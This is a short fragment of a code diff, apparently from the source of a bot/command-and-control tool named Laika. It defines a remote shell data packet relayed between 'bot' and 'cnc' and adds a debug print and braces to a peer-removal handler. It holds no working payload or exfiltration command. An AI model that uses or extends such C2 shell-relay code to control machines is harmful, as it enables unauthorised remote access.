 | 
			
		||||
    LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
 | 
			
		||||
    /* layout of LAIKAPKT_SHELL_DATA
 | 
			
		||||
    *   uint32_t id; // this field is absent from the panel/auth client
 | 
			
		||||
    *   char buf[VAR_PACKET_LENGTH];
 | 
			
		||||
    */
 | 
			
		||||
/* ==================================================[[ Auth ]]================================================== */
 | 
			
		||||
 
 | 
			
		||||
@@ -90,8 +90,10 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
 | 
			
		||||
    type = laikaS_readByte(&peer->sock);
 | 
			
		||||
 | 
			
		||||
    /* ignore panel clients */
 | 
			
		||||
    if (type == PEER_AUTH)
 | 
			
		||||
    if (type == PEER_AUTH) {
 | 
			
		||||
        LAIKA_DEBUG("got auth!\n");
 | 
			
		||||
        return;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
 | 
			
		||||
        LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user